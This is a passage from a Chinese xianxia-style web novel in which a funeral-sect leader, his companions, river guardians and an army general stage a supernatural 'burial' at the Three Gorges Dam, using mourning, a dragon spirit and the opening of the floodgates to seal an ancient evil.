水汽浓得化不开,湿漉漉地黏在皮肤上,带着一股陈腐的铁锈与水草腥气。
两岸青山如同一对沉默的巨人,将墨绿色的江水夹在中间。
江面,死寂。
没有一丝风,没有一道波纹,平静得像一块凝固的深色琉璃。
一艘渔政巡逻艇的引擎声,在这份死寂中显得格外突兀,它正逆流而上,驶向那座横亘天地的钢铁巨兽——三峡大坝。
甲板上,胖三伸长了脖子,嘴巴张得能塞进一个肉包子。
“我的亲娘姥姥……这就是三峡大坝?”
他看着远处那道仿佛分割了天与地的灰色线条,只觉得一股渺小感油然而生。
“这玩意儿……比秦始皇陵那土耗子窝可壮观太多了。八爷,咱们上次是撬了座山,这次……不会是要撬了这根定海神针吧?”
猴子一巴掌拍在他后脑勺上,骂道:“撬了它?下游半个神州都得给你陪葬,你那点私房钱正好当奠仪!”
张金城没有参与斗嘴。
他死死盯着手中的“七巧分金盘”,额角的青筋一根根暴起。
分金盘的指针没有抖动,而是像被钉**一样,纹丝不动地指向正下方,盘面上甚至浮现出一丝丝肉眼可见的黑气,仿佛被污染。
“不对劲……”
张金城的声音干涩,带着一种发自肺腑的恐惧。
“八爷,这下面的地气……不是淤塞,也不是死水。”
他抬起头,嘴唇发白。
“是‘活埋’!”
“大坝就像一根贯穿天地的巨大铁钉,把整条长江龙脉的‘天灵盖’给钉穿了,所有的龙气都被死死压在地底,动弹不得,只能腐烂、发酵!”
他指向那深不见底的江心,声音都在颤抖。
“而且,就在那腐烂的龙气最深处,有一股东西……正在醒来。”
“一股比冠军侯墓里的地煞将军更怨毒,比黄河底下的钉龙者更古老,也更……饿的东西。”
这番话,让甲板上的空气瞬间又沉重了几分。
陈义的目光,始终落在那座宏伟的大坝上。
人类智慧的奇迹,国运的象征。
它本身没有错,它汇聚了万民之力,是这阳世间最顶级的镇物。
错的,是**的方式。
太直接,太粗暴。
像一个不懂经络的莽夫,为了止血,直接用铁钎钉穿了病人的心脏。
血是止住了,生机也断了。
“我们不拆迁,只送葬。”
陈义终于开口,声音平静。
“大坝是‘棺材板’,咱们要做的,就是把板子底下那个睡不踏实的‘主儿’,给它体体面面地‘入殓’了,让它睡个安稳觉。”
话音刚落,巡逻艇的引擎发出一阵古怪的“咯咯”声,竟猛地熄火。
船身在江心一个急刹,惯性让众人都是一个趔趄。
“怎么回事!”胖三惊叫。
所有人向前望去。
不知何时,前方的江面上,浓重的水汽中,缓缓浮现出七八艘乌篷小船的轮廓。
那些船仿佛是从水底升起,悄无声息,船身挂满了湿滑的绿藻,如同鬼魅。
每一艘船头,都站着一个皮肤黝黑、神情冷硬的汉子,手持长长的竹篙,一言不发地盯着他们,眼神里没有活人的温度。
为首的一艘船上,站着一个满头银发、身材佝偻的老婆婆。
她脸上每一道皱纹都像是**水冲刷了千年,手里拄着一根盘龙拐杖,一双浑浊的眼睛里,却藏着深不见底的寒意。
“外乡人。”
老婆婆开口,声音像是两块河底的石头在摩擦,刮得人耳膜生疼。
“此地,禁行。”
“滚回去。”
张金城脸色剧变,压低声音道:“八爷,是‘守江人’!守护长江水脉的古老宗派,传闻他们以血脉与江魂立下契约,世代看守此地!”
陈义看着那位被称作“江婆”的老人。
他能感觉到,她身上的气息,与这整条长江的脉搏几乎融为一体。
她们不是长江的主人,而是长江的“抗体”。
“我们没有恶意。”陈义朗声回应,“来此,为解长江之困。”
“困?”
江婆发出一声刺耳的冷笑,手中的拐杖在船板上重重一顿。
“长江最大的‘困’,就是你们这些自以为是的‘高人’!”
“每隔几十年,就有人来,打着拯救龙脉的旗号,想从江底捞好处!上一个这么说的,尸骨已经让江里的老鳖啃干净了!”
话音未落,她拐杖再次一顿!
“哗啦!”
整片死寂的江面,瞬间活了!
七八条粗壮的水龙从乌篷船边咆哮而起,朝着巡逻艇疯狂扑来!
更让人头皮发麻的是,那水龙的身体里,竟浮现出一张张因溺水而扭曲、充满痛苦与怨毒的人脸!
这是操控江中万千溺死怨魂的邪术!
“找死!”大牛怒目圆睁,肌肉坟起,身后的迎宾棺已经开始嗡鸣。
“等等。”
陈义抬手拦住了他。
他往前一步,立于船头,面对那扑面而来的、混杂着万千怨魂嘶吼的水龙,既不闪,也不避。
他只是抬起脚。
轻轻一跺。
咚!
一声闷响,仿佛不是跺在甲板,而是直接敲在了长江的心脏上!
一圈无形的金色波纹,以陈义的脚下为中心,骤然扩散!
【界域之鳞】!
凡我立足处,皆为我疆土!
凶猛扑来的水龙,在接触到金色波纹的瞬间,猛地一滞!
组成龙身的江水,竟瞬间失去了江婆的控制,但那些被禁锢了千百年的怨魂,却在这一刻挣脱了束缚!
“吼——!”
水龙没有溃散,反而变得更加狂暴!无数怨魂脱离了水的形态,化作一道道黑气,如漫天蝗虫,绕过了陈义,直扑他身后阳气相对最弱的胖三!
江婆的脸上,露出一抹残忍的讥笑。
断了我的控水术又如何?这些怨魂,可是认主的!
“胖三!”陈义头也不回地暴喝,“哭!”
“啊?”胖三看着那铺天盖地而来的鬼脸,吓得腿都软了,“八、八爷,这时候我……我哭不出来啊!”
“哭不出来,就想想你的私房钱!”
“私房钱?!”
这三个字仿佛一道天雷,劈中了胖三的灵魂!他瞬间想起了自己藏在床垫
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下、鞋盒里、花盆底的那些小金库,被老婆发现后付之一炬的惨状!
一股发自灵魂深处的、比江水还深的悲痛,瞬间淹没了他!
“我的钱啊——!”
胖三一屁股坐在地上,张开嘴,发出一声石破天惊的嚎啕大哭。
那哭声,没有半点虚假,充满了对金钱逝去的无尽悲怆与对现实的强烈控诉!
纯粹的、不含任何杂质的、属于活人的贪婪与悲伤,如同一颗精神**,在怨魂群中轰然引爆!
那些沉沦于死亡痛苦中的怨魂,瞬间被这股更加“真实”的人间烟火气给冲懵了。
我们死得这么惨,你哭得比我们还伤心?
就为了点钱?
一时间,所有怨魂的攻击都停滞了,茫然地看着那个哭得涕泪横流的胖子。
就是现在!
陈义眼中神光一闪。
“我再说一遍。”
他看着因怨魂失控而脸色煞白的江婆,声音不大,却引动了眉心的人皇印记,言出法随。
“我们,是奉人道敕令,来给长江‘治病’的。”
“你是此地守卫,我敬你一分,与你分说。”
陈义的声音陡然转冷,带着不容置喙的威严。
“但你若再拦着我的出殡队伍,那就别怪我……连你这守江的香火,一并送进棺材里!”
话音落下的瞬间,那些茫然的怨魂,仿佛听到了某种至高的审判,竟齐齐发出一声解脱般的叹息,化作点点黑光,消散在江风之中。
“噗通!”
乌篷船上,所有守江人齐齐喷出一口鲜血,萎靡倒地。
江婆更是连退三步,手中的盘龙拐杖都差点握不住,那双浑浊的眼中,第一次被骇然与敬畏所填满。
她与江魂的血脉契约,竟被对方一句话就给压制了!
那不是法术,那是……权柄!是来自更高层面的、对这片土地的绝对所有权!
“你……你究竟是何人?”她沙哑地问,声音里充满了颤抖。
“义字堂,当代执绋人,陈义。”
陈义说完,不再理会她,转身对已经吓傻的驾驶员道:“开船。”
驾驶员如蒙大赦,哆哆嗦嗦地重启了引擎。
巡逻艇缓缓向前,从那群瘫倒的守江人身边驶过。
江婆看着那个站在船头的挺拔背影,眼神复杂到了极点。
“执绋人……原来是人皇座下的执绋人到了……”
她喃喃自语,浑浊的眼中闪过一丝明悟,随即又被更深的忧虑与绝望所取代。
“可是……晚了啊……”
“这口‘棺材’,太大,太沉,底下压着的东西,是连当年治水的大禹,都只能用九鼎**,而不敢惊动的……‘老东西’啊……”
她长叹一声,对着身后挣扎起身的族人挥了挥手,声音里充满了决绝。
“跟上去。”
“他要是真有本事治好这条江,咱们就给他**。”
“他要是敢有别的念头,或者……失败了……”
江婆浑浊的眼中,燃起一抹疯狂的火焰。
“咱们守江人一脉,就算拼到最后一人,流干最后一滴血,也要把他和那水下的‘老东西’,一起永远钉死在这长江里!”
第174章 让你抬棺,没让你拿大坝当棺材板!
巡逻艇破开死寂的江水,最终停靠在三峡大坝一座戒备森严的内部码头。
码头上,秦老的人早已等候。
一名肩扛将星的中年军官大步走来,他没有多余的寒暄,对着陈义立正,敬了一个无可挑剔的军礼。
“陈顾问!我叫周克,奉秦老之命,三峡战区所有力量,从此刻起,全权由您调配!”
声音落地,仿佛砸下千钧之重。
陈义点头,目光越过他的肩头,望向那座如钢铁山脉般横亘在天地间的巨坝。
他直接切入正题。
“我要大坝最完整的结构图,以及水下地质勘探的所有绝密资料。”
“另外,清空方圆十公里,我不希望有任何一个游客或平民在场。”
“是!”
周克没有问为什么,只是再次敬礼,转身的动作带起一阵风。
很快,巨大的作战指挥室里,三峡大坝的完整立体投影被激活,悬浮在半空。
无数蓝色数据流瀑布般刷过屏幕,每一根钢筋的坐标,每一方混凝土的标号,都清晰可见。
张金城带着几个摸金门最得意的弟子,围着投影,脸色一分比一分难看,最后变得惨白如纸。
“不行……”
张金城颓然地退后一步,手中的罗盘指针疯狂乱转,像是喝醉了酒。
“八爷,没用的。”
他声音干涩,“这座大坝本身就是一座当世最强的‘阳阵’,它汇聚了国运、人道之力、现代工业的刚猛之气,固若金汤。我们摸金一派所有堪舆望气的术法,在这里,都成了睁眼瞎。”
“根本看不透,那坝体之下,所谓的‘旧主’,究竟藏在何处。”
话音刚落,指挥室沉重的合金门被推开。
被称为“江婆”的守江人首领,拄着一根盘根错节的木杖,在两个族人的搀扶下,蹒跚而入。
她的视线掠过满屋子闪烁的尖端设备,最后像两口枯井,落在了陈义身上。
“你们找不到的。”
江婆开口,声音像是两块**水冲刷了千年的石头在摩擦。
“‘那东西’,没有形体。”
“它是一股怨,是这片水域在混沌初开时,诞生的第一缕‘恶’。大禹先祖治水,曾以九鼎镇之于江心,再以整条长江的龙脉为锁,令我族世代看守。”
她枯瘦的手指,指向屏幕上那座雄伟的大坝投影,眼中是化不开的忌惮与恐惧。
“这座大坝,镇住了**长江的龙脉。”
“也等于……亲手松开了那条锁链。”
“如今,它正在醒来,它要污染整条江,把这**水域,化作它的新身体。”
“它现在在哪?”陈义问。
江婆摇了摇头,浑浊的眼珠里倒映着绝望。
“它无处不在,又无所不在。”
“除非……你们能把它‘引’出来。”
“引?”胖三下意识地缩了缩脖子,“拿啥引?就咱们这几斤肉,还不够它塞牙缝的。”
“用‘生机’。”
江婆的目光,忽然直勾勾地盯在了胖三身上,那眼神看得胖三浑身汗**倒竖。
“用最纯粹、最磅礴的活人气息,去哭,去嚎,去撕心裂肺地告诉它,外面有它最渴望的食物。”
“我靠!”
胖三一蹦三尺高,“你这老太太,怎么跟我们八爷一个路数?又他妈想让我哭丧?我跟你们讲,本人哭丧业务明码标价,出场费很贵的!”
陈义没理会胖三的鬼叫。
他的目光死死盯着那座大坝的投影,瞳孔深处,一个近乎渎神的、无比狂妄的计划,正在疯狂滋生,缓缓成型。
“你说,大坝压住了龙脉,松开了锁链。”
陈义缓缓转向江婆。
“那如果,我们用这座大坝,重新给它造一副……更结实的棺材呢?”
此言一出,指挥室里所有的声音,瞬间消失。
江婆脸上的皱纹凝固了。
张金城的呼吸停滞了。
连周克将军都猛地回头,用看疯子一样的眼神看着陈义。
用三峡大坝当棺材?
这是人能想出来的念头?!
“你的意思是……”江婆的声音,因为极度的震惊而剧烈颤抖。
“火葬。”
陈义吐出两个字,每个字都像砸在地上的铁钉。
“它不是没有实体吗?那就给它一个实体。”
“它不是想出来吗?那就让它出来。”
他的目光如刀,扫过在场的每一个人,最后重新定格在那巨大的投影之上,仿佛一位审视着自己作品的疯神。
“我的计划,很简单。”
“第一步,哭丧。”陈义的视线转向胖三,“这次,不光你哭。我要你,带着守江人所有的族人,登上大坝,对着这**长江,给我往死里哭!”
“用你们与这条江同生共源的气息,把那东西从沉睡中彻底喊醒!把它所有的意识,都给我吸引到大坝正下方的水域!”
胖三张大了嘴,一个字都说不出来。
带着几百号人搞集体哭丧?这业务……拓展得有点太快了。
“第二步,开路。”陈义的目光转向张金城,“我要你,带领所有摸金校尉,进入大坝内部,给我找出来一百零八处地气流转的核心节点。然后,用你们摸金门压箱底的禁术,布下一个‘百鬼抬棺’的逆阵!”
张金城心神剧震,失声道:“百鬼抬棺?!八爷,那是禁术中的禁术!是以活人精血为引,勾动地脉煞气,强行扭转一方风水的至邪之阵!”
“我知道是邪阵。”陈义的眼神冷得像冰,“我要的,就是它的‘邪’!”
“我要用这股煞气,在大坝底下,给那位‘旧主’,铺出一条通往棺材的红地毯!”
“第三步,入殓。”
陈义的目光,落回自己和身后的大牛、猴子、老七等人身上,那是一种绝对的信任
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“当那东西被引出,顺着煞气之路,进入我们为它预设的‘棺材位’时……”
“义字堂,结八仙抬棺阵!”
“我们不抬棺。”
“我们抬的,是这**长江的龙魂!”
“我要以龙魂为镇物,在那东西的头顶,狠狠地‘压’下去!”
“最后一步,盖棺!”
陈义的手,猛地拍在指挥台的红色按钮上。
嗡——!
整个指挥室的警报灯无声地疯狂闪烁,将每个人的脸都映照得一片血红。
他看向早已骇然失色的周克将军。
“周将军,我要你在我下令的瞬间,开启三峡大坝,所有的泄洪闸门!”
“什么?!”周克彻底失态,“陈顾问,这绝对不行!瞬间全开,下游会变成一片**!”
“我不是要泄洪。”
陈义打断了他,眼中闪烁着一种近乎癫狂的自信光芒。
“我是要借那亿万吨江水瞬间下泄的无上冲力!”
“借这座大坝汇聚的人道国运!”
“再借我这人皇印的至高敕令!”
“三力合一!”
“给我把这口棺材板,死死地,盖——上!”
最后两个字,石破天惊。
指挥室里,只剩下众人粗重的呼吸声,连心跳都仿佛被一只无形的手攥停了。
引蛇出洞,煞气开路,龙魂**,大坝盖棺!
这不是抬棺。
这是在抬山,抬江,在给一个从混沌中诞生的古老魔神,办一场波及整个神州、赌上国运的旷世葬礼!
江婆浑浊的双眼,死死盯着陈义,那眼底深处熄灭了近百年的火焰,第一次重新燃起,烧得无比炙热。
她见过枭雄,见过人王,却从未见过如此胆大包天之人!
也从未听过,如此匪夷所思之法!
但她知道,这可能是唯一的办法。
她拄着木杖,对着陈义,深深地,弯下了那从未向任何人弯过的腰。
“我守江人一脉,上下三百一十七口,愿为执绋人!”
“助八爷,为这长江,送大殡!”
张金城牙关紧咬,对着陈义一揖到底,声如洪钟。
“我摸金校尉,愿为八爷,开阴路,定煞穴!”
周克看着陈义,看着他身上那股仿佛能撑起天地的气魄,最终下定了决心。
他猛地一砸胸膛,发出擂鼓般的闷响。
“我代表驻守三峡的全体将士,听从陈顾问号令!”
陈义满意地点了点头。
他走到巨大的落地窗前,窗外是平静如镜的江面,远处是沉默如兽的钢铁巨坝。
他缓缓开口,声音不大,却清晰地烙印在每个人的灵魂深处。
“胖三,准备写祭文。”
“这次的‘孝子’,是这十四万万炎黄子孙。”
“咱们要办的,是给一个还没出世的魔头,预定一场……”
“最豪华的葬礼。”
第175章 以国运为棺,为长江邪神送大殡!
三峡工程,国之重器。
此刻,这头钢铁巨兽陷入了前所未有的死寂。
方圆十公里,再无一个游客,一道炊烟。
沿江的公路被装甲车与巨马封锁,天空中,看不见的电磁波交织成网,屏蔽了所有信号。
周克将军的指挥部里,空气压抑得让人无法呼吸。
所有屏幕都切换到了大坝各处的高清监控,每一个画面都静得像一幅遗照。
大坝之上,风很冷,刮在脸上像刀子。
胖三搓着手,哈出一口白气,看着眼前黑压压一片、神情肃穆的守江人,感觉自己的职业生涯遇到了瓶颈。
“各位乡亲,各位同仁。”
他清了清嗓子,试图调动起专业气氛。
“我是义字堂首席丧仪司仪,兼特级哭丧指导师,我叫庞三。”
“今天这个活儿,技术难度高,情感要求重,大家打起精神来。”
他面前,是江婆带来的三百多名守江人。
他们穿着统一的黑色短褂,皮肤黝黑,手上布满老茧,眼神如同江底的顽石,沉静而坚韧。
他们世世代代与长江搏命,见惯了生死,悲伤早已刻进骨头里,而不是挂在脸上。
让他们哭,比让他们死还难。
“哭,是一门艺术。”
胖三背着手,踱着步,活像个不入流的**讲师。
“分三个层次。第一层,小家碧玉,闻者伤心。要点是眼圈先红,嘴唇微颤,泪珠要大,滚落要慢,讲究一个‘我见犹怜’。”
一片沉默。
守江人们看着他,像在看一个耍猴的。
胖三有点尴尬,干咳一声:“第二层,大家闺秀,见者流泪。需要情绪铺垫,可以想想自己最惨的事,比如私房钱被老婆发现了,股票跌停了,总之,要发自肺腑,哭出节奏感!”
一个年轻的守江人忍不住低声问旁边的长辈:“叔,啥是股票?”
胖三的脸皮一抽,决定直接上绝活。
“第三层,国士无双,天地同悲!这一层就厉害了,不拘泥于形式,可以嚎,可以骂,核心就一个字——真!要把心肝脾肺肾都哭出来的感觉,懂吗?来,我给大家示范一下!”
他深吸一口气,酝酿情绪,脑子里飞速闪过自己藏在床底、鞋柜、天花板夹层里的一笔笔私房钱被老婆翻出来,当着亲戚朋友的面一张张数的惨烈画面。
“我的钱啊——!”
一声悲愤欲绝的干嚎划破长空,带着金属撕裂般的质感,确实有几分撕心裂肺的架势。
然而,三百多守江人依旧面无表情。
江婆拄着木杖,浑浊的眼睛里甚至透出一丝……嫌弃。
胖三的哭声戛然而止。
完了。
职业生涯的滑铁卢。
这群人根本没有艺术细胞。
“八爷,这……这不行啊。”他哭丧着脸,凑到陈义身边,“他们比大坝的混凝土还能扛,我这点业务能力,撬不开他们的嘴啊。”
陈义的目光一直锁定着下方平静无波的江面。
那平静之下,是足以吞噬一切的恐怖。
他没有回头,只是淡淡地说:“那就用他们懂的方式。”
话音未落,江婆向前蹒跚一步。
她没有看胖三,也没有看任何人。
她那双看过百年潮起潮落的眼睛,望向了自己守护了一生的**长江。
她没有嚎啕,甚至没有流泪。
她只是轻轻地,用一种古老、沙哑、仿佛从河床淤泥里挖出来的调子,哼唱了起来。
“……江水长,埋骨乡,阿哥去,莫回头……”
那是一首无比简单的歌谣。
没有华丽的辞藻,没有复杂的旋律。
这是一个妻子送别丈夫,一个母亲送别儿子时,哼唱的送魂曲。
歌声很轻,却像一柄无形的重锤,瞬间砸在了每个守江人的心上。
他们想起了自己的爷爷,在某次与风浪的搏斗中,被卷入旋涡,再也没能回来。
他们想起了自己的父亲,为了救一个失足落水的孩子,沉入了冰冷的江底。
他们想起了自己的兄弟,在一次巡江时,小船被暗流打翻,尸骨无存。
一代又一代,这片江水养育了他们,也吞噬了他们。
他们的血脉与这条江早已融为一体,他们的悲伤,也与这条江一样,深沉,无言。
一个满脸胡茬的中年汉子,第一个没忍住,肩膀剧烈地耸动起来,压抑的呜咽从喉咙里挤出。
一个,两个……
很快,压抑的哭声连成一片。
他们没有捶胸顿足,只是蹲在地上,像一群受伤的野兽,发出低沉而痛苦的鸣咽。
那不是表演。
那是积攒了几代人的,最纯粹、最沉重的悲恸。
胖三呆住了。
他第一次明白,真正的悲伤,不需要技巧。
他默默地退到一旁,看着这群沉默的汉子用最质朴的方式宣泄着刻在骨子里的痛。
他忽然觉得自己的“专业”是那么可笑。
他也被这股悲伤感染,眼圈一红,想起了自己早逝的爹娘,泪水不知不觉就流了下来。
就在此刻,江面,变了。
原本平静的水面,突兀地泛起一
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层细密的白霜。
刺骨的寒意从水下升腾而起。
一股庞大、冰冷、充满了无尽饥饿感的意志,从大坝正下方的深渊中,缓缓探出。
它被这股磅礴而纯粹的“生灵之悲”吸引了。
在它混沌的感知里,这是最美味的食粮。
“来了。”
陈义的声音低沉,通过对讲机,向着大坝内部下达了指令。
“张金城,开路!”
大坝内部,迷宫般的廊道中。
张金城与数十名摸金校尉的精英弟子,早已在一百零八处地气节点上布下了法坛。
听到陈义的命令,张金城眼中闪过一抹决绝。
他咬破指尖,将一滴精血点在罗盘之上。
“摸金门弟子听令!”他厉声喝道,“以我之血,为阵之引!开——百鬼抬棺逆阵!”
所有弟子同时咬破指尖,将鲜血抹在各自负责的节点上。
嗡——
一百零八处节点,同时爆发出浓郁的黑气。
那不是普通的阴气,而是被大坝强行**的地脉煞气,是所有至阴至邪的能量集合体。
这些黑气在复杂的管道与钢筋结构中飞速穿行,没有丝毫外泄,反而精准地被引导、汇聚。
最终,在大坝下方的水域中,交织成一条宽达百丈,由纯粹煞气构成的幽暗“通路”。
它像一条通往地狱的红毯。
从那苏醒的古老邪物面前,一直铺到陈义他们预设的“棺材位”。
那邪物本能地感觉到了这条路。
路上充满了它最喜欢的味道——死亡、怨毒、煞气。
路的尽头,是更让它垂涎的,磅礴的生机与悲恸。
它不再犹豫。
那团无形的、庞大的意志,顺着这条“百鬼之路”,急速涌去。
轰隆隆——
整座三峡大坝,发出了不堪重负的呻吟。
无数细小的裂纹在内部结构中浮现。
不是因为水压。
而是因为那个看不见的“东西”,正在其中“行走”!
指挥中心,所有的传感器瞬间爆表,刺耳的警报声响彻大厅。
周克死死抓住控制台,手背青筋暴起。
他看不见敌人,却能感觉到那股足以让山河变色的恐怖力量,正在自己的脚下穿行。
“它……它就位了!”一名技术军官嘶哑地喊道。
大坝之上,陈义感受着脚下传来的剧烈震动,眼神里没有一丝波澜。
他看着前方那片因邪物汇聚而变得漆黑如墨的水域,对着身后的兄弟们,一字一顿地喝道:
“义字堂,结阵!”
第176章 以我凡躯,抬**江山!
“义字堂,结阵!”
陈义一声断喝。
大牛、猴子、老七……七道身影没有丝毫迟疑,瞬间归于各自的阵位,以陈义为绝对核心,摆开了“八仙抬棺”的古老架势。
没有杠木。
没有棺材。
他们八个人,就是杠木,是那口承载天地的阳间之棺!
陈义双脚微分,脚掌如同老树盘根,死死抓着地面,目光已然穿透了钢铁与混凝土的阻隔,直视着大坝之后,那被万顷碧波淹没的、沉睡了数十年的龙脉之源。
他缓缓抬起右手,掌心那枚无形的【人皇印】逸散出淡淡的紫金光晕。
他没有用皇帝般的命令口吻,而是用一种近乎平等的商议,一种属于炎黄血脉对母亲河的至诚请求,将自己的意志化作一道契约,传递出去。
“**长江龙魂在上!”
“今有上古邪祟复苏,欲污渎江河,祸乱神州。”
“小子陈义,以当代人皇执绋人身份,请龙魂暂借真身一用!”
他的声音并不洪亮,却蕴含着不容置喙的规则之力,瞬间穿透了亿万吨的江水,穿透了固若金汤的坝体,直达那被国运阳阵压制了数十年的龙脉核心。
“不为困锁,只为**!”
“事成之后,我以人皇功德,为您重塑金身,再安龙庭!”
昂——!
一声苍凉、古老、充满了无尽威严的龙吟,并非从空气中响起,而是直接在每个人的灵魂最深处,轰然炸开!
指挥室里,周克与所有将士大脑瞬间一片空白,心脏像是被一只无形的巨手攥爆,那股源自生命最深处的敬畏,让他们双腿发软,几乎要当场跪下。
大坝后方的蓄水区,镜面般的江水猛地向上拱起一个遮天蔽日的巨大弧度,仿佛有一片大陆要从水下升起。
紧接着,一个巨大到无法用语言形容的龙头,由最纯粹的金色光芒构成,缓缓从江水中升腾。
它的一只眼睛,就比一艘航空母舰还要庞大。
它的龙须,如同两条垂天之云,在空中无声飘荡。
它的形态虚幻,身上死死缠绕着无数由赤红色符文构成的锁链,那是三峡大坝汇聚的国运阳阵之力。
它的眼神,充满了被**的痛苦与无尽的疲惫,但更多的,是一种守护这片土地亿万年的威严与慈悲。
它看到了陈义。
更看到了他掌心那枚代表着人道正统的【人皇印】。
那是来自血脉源头的召唤,是无法拒绝的契机。
巨龙垂下它高贵到极致的头颅,龙目开阖间,表示应允。
“起——灵——!”
陈义喉咙深处发出一声惊雷般的暴喝。
义字堂八人同时沉腰发力,肌肉虬结,青筋暴突!
他们抬的不是任何实体,而是“长江龙魂”这个沉重到无法估量的概念!
那一瞬间,八个人仿佛不再是背负着一股力量,而是整条长江五千四百六十四公里的长度,连同它亿万年的岁月,沿途亿万生民的因果,全部化作了真实不虚的“重量”,狠狠地压在了他们八人的神魂与肉身之上!
噗!
除了陈义,其余七人同时喷出一口血雾,那血雾在空中就被无形的重压碾成了最细微的红色尘埃。
站在最前方的“杠头”大牛,他那堪比巨象的身躯发出一阵骨骼被碾碎成粉末的恐怖声响,脚下的特种混凝土坝面,无声地塌陷出一个深达半米的蛛网状深坑!
他那能硬撼凶兽的身躯,第一次被压得双膝重重弯曲,膝盖骨寸寸崩裂,几近跪倒在地。
这重量,无关物理,只在因果!
“啊啊啊——!”
大牛双目赤红如血,脖子上坟起的青筋如同扭曲的钢缆,他用尽了神魂与肉体的每一分力量,喉咙里发出野兽般的咆哮,死死扛住了这股足以压塌昆仑的恐怖重量。
“成了!”
远处的张金城瞳孔剧震,手中的七巧分金盘发出一声哀鸣,盘面上的所有符文瞬间黯淡,他本人更是如遭雷击,踉跄后退,满脸都是颠覆世界观的狂乱。
以凡人之躯,撬动神州龙脉!
这是神话!这是只有在最古老的甲骨文上才敢记载的禁忌之事!
就在龙魂被“抬”离江底的瞬间,下方被“百鬼之路”引诱到预定位置的邪物,终于意识到自己落入了圈套。
它,暴怒了!
那团漆黑如墨的怨念核心,猛地爆开。
没有声音,没有冲击波。
而是化作亿万道最纯粹的恶意,一种宇宙走向热寂的终极虚无,冲向正在苦苦支撑的义字堂八人。
猴子眼前的世界瞬间失去了所有色彩,他看到自己所有的努力,所有的挣扎,都化作了毫无意义的尘埃,在永恒的死寂中消散。
老七耳边不再有任何声音,只有绝对的静,一种连思想都无法存在的、代表着万物终结的静默,让他本能地想要放弃抵抗,融入这片安宁。
胖三的眼中,不再有金钱,不再有美食,他看到的是一片熵增到极致的混沌,所有的欲望和执念都显得那么可笑。
绝望、虚无、熵寂、终结……
所有代表着“无意义”的终极哲学概念,化作精神剧毒,要将他们的意志彻底溶解。
猴子和老七的脚步一个踉跄,整个“八仙抬棺”阵法剧烈地晃动了一下。
那刚刚被“抬”起的巨大龙魂,也随之光芒一暗,险些当场溃散。
“扛住!”
陈义的声音如同开天辟地的第一声雷鸣,在众人死寂的灵魂中炸响!
他承受的压力是其他人的总和,那邪物九成九的恶意都冲着他而来。他看到了尸山血海,看到
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了星辰陨落,看到了神州陆沉,看到了自己化作一具枯骨,被遗忘在时间的长河里。
但他的眼神,没有一丝一毫的动摇。
“我等抬的,是这山河的脊梁!”
“身后是十四万万同胞的梦与希望!”
“谁敢松手?!”
他怒吼着,眉心的人皇印爆发出璀璨到极致的紫金光芒,如同一轮小太阳,瞬间驱散了所有人心中那片代表着“终结”的阴霾。
那光芒带着不容置疑的信念,一种“我即是规矩,我即是意义”的无上霸道,将所有精神污染焚烧殆尽。
兄弟七人浑身剧震,眼神重新恢复了属于活人的神采。
“八爷!”
“我们,扛得住!”
“好!”陈义目光如电,死死锁定下方那团翻涌不休的漆黑邪祟,“就是现在!”
“给——我——压!”
八人齐声怒吼,将所有的意志、所有的气力、所有的信念,毫无保留地灌注进这副由血肉和神魂铸就的“棺材”之中。
昂——!
那巨大的金色龙魂,仿佛被注入了无穷的力量,发出一声震动九霄的咆哮。
它不再虚幻,反而凝实如琉璃神金,带着**万古的无上威严,朝着下方那团漆黑的邪物,狠狠地撞了下去!
没有惊天动地的**。
只有极致的光与极致的暗,最纯粹的守护与最恶毒的怨恨,在江心深处,无声地湮灭、对撞!
嗤——
仿佛亿万吨烧红的钢铁被同时探入冰海,大片的白色水汽冲天而起,瞬间笼罩了整座三峡大坝。
那团邪物被龙魂死死地压在“棺材位”上,无法动弹,发出了无声的、充满了痛苦与怨毒的嘶吼。
但它,没有被消灭。
黑色的怨念如同附骨之蛆,化作一道道漆黑的癌变组织,开始疯狂地侵蚀、污染金色的龙魂。
龙魂的光芒以肉眼可见的速度黯淡下去,庞大的身躯上,开始出现一道道触目惊心的黑色斑纹。
“八爷,撑不住了!”大牛嘶吼道,他的双臂已经血肉模糊,森森白骨暴露在外,却又在阵法的力量下一次次强行愈合,“这鬼东西……在吃龙魂!”
义字堂众人都在以燃烧生命为代价,维持着龙魂的**。
但这种**,每多一秒,对龙魂和他们自身的伤害就越大。
陈义脸上已无半分血色,嘴角溢出的鲜血染红了整个前襟。
他抬起头,目光穿透了指挥室厚重的防弹玻璃,与周克那双写满了惊骇、挣扎与决绝的眼睛,死死对上。
他对着通讯器,用尽了最后一丝力气,挤出了四个字。
那声音不大,却像一道九天惊雷,在周克耳边,在整个三峡战区的指挥系统里,轰然炸响。
“最后一步。”
“盖——棺!”
第177章 以国运为钉,为长江邪物盖棺!
“盖棺!”
两个字,是命令,也是审判。
周克脑中最后一丝名为理性的弦,应声绷断。
他是一名军人。
服从,是他的天职。
但此刻,驱动他身体的,是那股被陈义彻底点燃的,名为“守护”的原始血性。
他的手掌再无半分颤抖,狠狠砸下。
那个象征着最高权限的红色按钮,在一片死寂的指挥室里,应声深陷。
轰——隆——
一阵仿佛来自地狱深处的金属咆哮,从大坝内部传来。
三峡,这座横亘于长江之上,如同神话造物的钢铁山脉,苏醒了。
它所有的泄洪深孔、表孔,在同一时刻,毫无保留地,完全洞开!
时间在这一瞬被拉长。
蓄积了**长江之力的亿万吨江水,找到了一个绝对的宣泄口。
那不是水流。
那是一面从天际线直坠而下的液态断崖,宽达两千三百米,高达一百八十五米!
是天河倒灌!
是沧海决堤!
这股纯粹的物理伟力,足以在地图上瞬间抹平一座现代都市。
但这,仅仅是第一重力量。
闸门开启的刹那,整座大坝通体爆发出璀璨夺目的白光!
不是灯光,是这座建筑本身在燃烧!
它承载了新中国几代人的心血,熔铸了一个民族崛起的意志与骄傲。
它本身,就是一座用现代工业文明筑起的,**国运的无上阳阵!
此刻,沉睡的“人道国运”之力被彻底激活,化作一道无形却重逾泰山的气运华盖,与那亿万吨江水轰然合一!
然而,还不够!
大坝之上,陈义迎着那足以撕碎钢铁的狂风,高高举起了右手。
他眉心的人皇印,光芒万丈,刺破天穹!
他以身为祭,引动了与神州地脉彻底绑定的至高权柄。
“敕令!”
“山河为棺!”
“江水为钉!”
“阴阳两隔,永世镇封!”
“封——!”
一个巨大、古朴、充满了无上威严的金色“封”字,脱手飞出,迎风暴涨,变得比山岳更庞大,狠狠烙印在那倾泻而下的无尽洪流之中!
物理的伟力!
国运的加持!
人皇的敕令!
三重力量,在这一刻完美合一!
那已经不是水了。
那是一块由天地亲自锻造,由国运淬火,由人皇落款的,独一无二的……
棺材板!
轰!!!!!!
